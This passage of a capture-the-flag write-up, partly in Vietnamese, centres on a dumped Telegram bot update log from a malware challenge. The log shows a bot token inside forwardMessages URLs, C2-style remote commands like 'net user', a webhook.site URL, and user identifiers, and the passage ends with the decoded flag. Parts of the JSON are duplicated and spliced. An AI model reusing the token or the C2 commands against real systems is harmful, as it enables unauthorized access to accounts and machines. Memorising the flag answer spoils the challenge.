'{"ok":true,"result":[{"message_id":717},{"message_id":718},{"message_id":719},{"message_id":720},{"message_id":721}]}', 'entities': [{'offset': 0, 'length': 117, 'type': 'pre', 'language': 'json'}]}}, {'update_id': 160555876, 'message': {'message_id': 723, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733033846, 'text': 'https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/forwardMessages?from_chat_id=-4528960795&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7870990883', 'entities': [{'offset': 0, 'length': 214, 'type': 'url'}], 'link_preview_options': {'is_disabled': True}}}, {'update_id': 160555877, 'message': {'message_id': 729, 'from': {'id': 43390784, 'is_bot': False, 'first_name': 'Safa', 'last_name': 'Safari', 'username': 'SafaSafari', 'language_code': 'fa'}, 'chat': {'id': 43390784, 'first_name': 'Safa', 'last_name': 'Safari', 'username': 'SafaSafari', 'type': 'private'}, 'date': 1733034070, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555878, 'message': {'message_id': 735, 'from': {'id': 815797662, 'is_bot': False, 'first_name': 'Yj', 'username': 'yjchvs', 'language_code': 'en'}, 'chat': {'id': 815797662, 'first_name': 'Yj', 'username': 'yjchvs', 'type': 'private'}, 'date': 1733034345, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555879, 'message': {'message_id': 736, 'from': {'id': 815797662, 'is_bot': False, 'first_name': 'Yj', 'username': 'yjchvs', 'language_code': 'en'}, 'chat': {'id': 815797662, 'first_name': 'Yj', 'username': 'yjchvs', 'type': 'private'}, 'date': 1733034348, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555880, 'message': {'message_id': 737, 'from': {'id': 815797662, 'is_bot': False, 'first_name': 'Yj', 'username': 'yjchvs', 'language_code': 'en'}, 'chat': {'id': 815797662, 'first_name': 'Yj', 'username': 'yjchvs', 'type': 'private'}, 'date': 1733034351, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555881, 'message': {'message_id': 738, 'from': {'id': 815797662, 'is_bot': False, 'first_name': 'Yj', 'username': 'yjchvs', 'language_code': 'en'}, 'chat': {'id': 815797662, 'first_name': 'Yj', 'username': 'yjchvs', 'type': 'private'}, 'date': 1733034356, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555882, 'message': {'message_id': 739, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733035991, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555883, 'message': {'message_id': 740, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733035993, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555884, 'message': {'message_id': 741, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733036130, 'document': {'file_name': 'pyinstxtractor.zip', 'mime_type': 'application/zip', 'file_id': 'BQACAgUAAxkBAAIC5WdMCGIAAWb_P5p5qMj9cNbgAyWr-AACaxEAApvTYVaT9-XpwKCIzDYE', 'file_unique_id': 'AgADaxEAApvTYVY', 'file_size': 5012}}}, {'update_id': 160555885, 'message': {'message_id': 742, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733036132, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555886, 'message': {'message_id': 743, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733036141, 'document': {'file_name': 'pyinstxtractor.zip', 'mime_type': 'application/zip', 'file_id': 'BQACAgUAAxkBAAIC52dMCG0XC9AfyIskRJEUkwa9RnFsAAJsEQACm9NhVowmLw-Q6y8YNgQ', 'file_unique_id': 'AgADbBEAApvTYVY', 'file_size': 5012}}}, {'update_id': 160555887, 'message': {'message_id': 744, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733036142, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555888, 'message': {'message_id': 745, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733036187, 'document': {'file_name': 'document.zip', 'mime_type': 'application/zip', 'file_id': 'BQACAgUAAxkBAAIC6WdMCJtGoCNl1L2VHdnvIsHQlZhkAAJtEQACm9NhVgMHoK8xakCrNgQ', 'file_unique_id': 'AgADbREAApvTYVY', 'file_size': 17146808}}}, {'update_id': 160555889, 'message': {'message_id': 746, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733036188, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555890, 'message': {'message_id': 747, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733036191, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555891, 'message': {'message_id': 758, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733036830, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555892, 'message': {'message_id': 759, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733036863, 'text': 'https://api.telegram.org/bot7035...[REDACTED]...doiaoaGBMcy4/forwardMessages?from_chat_id=69...[REDACTED]...141&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=xxxxxxxxxx', 'entities': [{'offset': 0, 'length': 210, 'type': 'url'}], 'link_preview_options': {'is_disabled': True}}}, {'update_id': 160555893, 'message': {'message_id': 765, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733036968, 'text': 'https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/forwardMessages?from_chat_id=-4528960795&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7772912370', 'entities': [{'offset': 0, 'length': 214, 'type': 'url'}], 'link_preview_options': {'url': 'https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/forwardMessages?from_chat_id=-4528960795&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7772912370'}}}, {'update_id': 160555894, 'message': {'message_id': 766, 'from': {'id': 7619115867, 'is_bot': False, 'first_name': 'Justin', 'language_code': 'en'}, 'chat': {'id': 7619115867, 'first_name': 'Justin', 'type': 'private'}, 'date': 1733037194, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555895, 'message': {'message_id': 767, 'from': {'id': 7619115867, 'is_bot': False, 'first_name': 'Justin', 'language_code': 'en'}, 'chat': {'id': 7619115867, 'first_name': 'Justin', 'type': 'private'}, 'date': 1733037196, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555896, 'message': {'message_id': 780, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733038590, 'text': 'https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/forwardMessages?from_chat_id=-4528960795&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7870990883', 'entities': [{'offset': 0, 'length': 214, 'type': 'url'}], 'link_preview_options': {'is_disabled': True}}}, {'update_id': 160555897, 'message': {'message_id': 781, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733038658, 'text': 'https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/forwardMessages?from_chat_id=-4528960795&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7772912370', 'entities': [{'offset': 0, 'length': 214, 'type': 'url'}], 'link_preview_options': {'is_disabled': True}}}, {'update_id': 160555898, 'message': {'message_id': 798, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733038922, 'text': "/start 6?IDoFD,B0+DGm>FD,5.CghC,+E1b0F?1O(0f26j?VOZ^87,Fu9/'+!I/", 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555899, 'message': {'message_id': 799, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733038924, 'text': "6?IDoFD,B0+DGm>FD,5.CghC,+E1b0F?1O(0f26j?VOZ^87,Fu9/'+!I/"}}, {'update_id': 160555900, 'message': {'message_id': 800, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733038925, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555901, 'message': {'message_id': 801, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733038926, 'text': "/flag 6?IDoFD,B0+DGm>FD,5.CghC,+E1b0F?1O(0f26j?VOZ^87,Fu9/'+!I/", 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555902, 'message': {'message_id': 843, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733039200, 'text': '06bbc6ad-a624-416f-8163-30410218a149 ;; DESKTOP new connection!'}}, {'update_id': 160555903, 'message': {'message_id': 844, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733039207, 'text': 'all;;net user'}}, {'update_id': 160555904, 'message'age_id': 844, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733039207, 'text': 'all;;net user'}}, {'update_id': 160555904, 'message': {'message_id': 871, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733039567, 'text': 'https://webhook.site/468f16c3-6932-4298-aa76-727f69ba21bd', 'entities': [{'offset': 0, 'length': 57, 'type': 'url'}], 'link_preview_options': {'is_disabled': True}}}, {'update_id': 160555905, 'message': {'message_id': 874, 'from': {'id': 7619115867, 'is_bot': False, 'first_name': 'Justin', 'language_code': 'en'}, 'chat': {'id': 7619115867, 'first_name': 'Justin', 'type': 'private'}, 'date': 1733039684, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555906, 'message': {'message_id': 925, 'from': {'id': 7619115867, 'is_bot': False, 'first_name': 'Justin', 'language_code': 'en'}, 'chat': {'id': 7619115867, 'first_name': 'Justin', 'type': 'private'}, 'date': 1733040091, 'text': ';; net'}}, {'update_id': 160555907, 'message': {'message_id': 926, 'from': {'id': 7619115867, 'is_bot': False, 'first_name': 'Justin', 'language_code': 'en'}, 'chat': {'id': 7619115867, 'first_name': 'Justin', 'type': 'private'}, 'date': 1733040096, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555908, 'message': {'message_id': 927, 'from': {'id': 7619115867, 'is_bot': False, 'first_name': 'Justin', 'language_code': 'en'}, 'chat': {'id': 7619115867, 'first_name': 'Justin', 'type': 'private'}, 'date': 1733040100, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}]}
```
Dữ liệu JSON từ bot bao gồm nhiều tin nhắn, một số trong đó chứa chuỗi đáng nghi liên quan đến flag:
`/flag 6?IDoFD,B0+DGm>FD,5.CghC,+E1b0F?1O(0f26j?VOZ^87,Fu9/'+!I/`
Decode thử:

> Flag: wwf{1_D0WN104D3D_correct_814CK_MY7H_WUK0N6}
---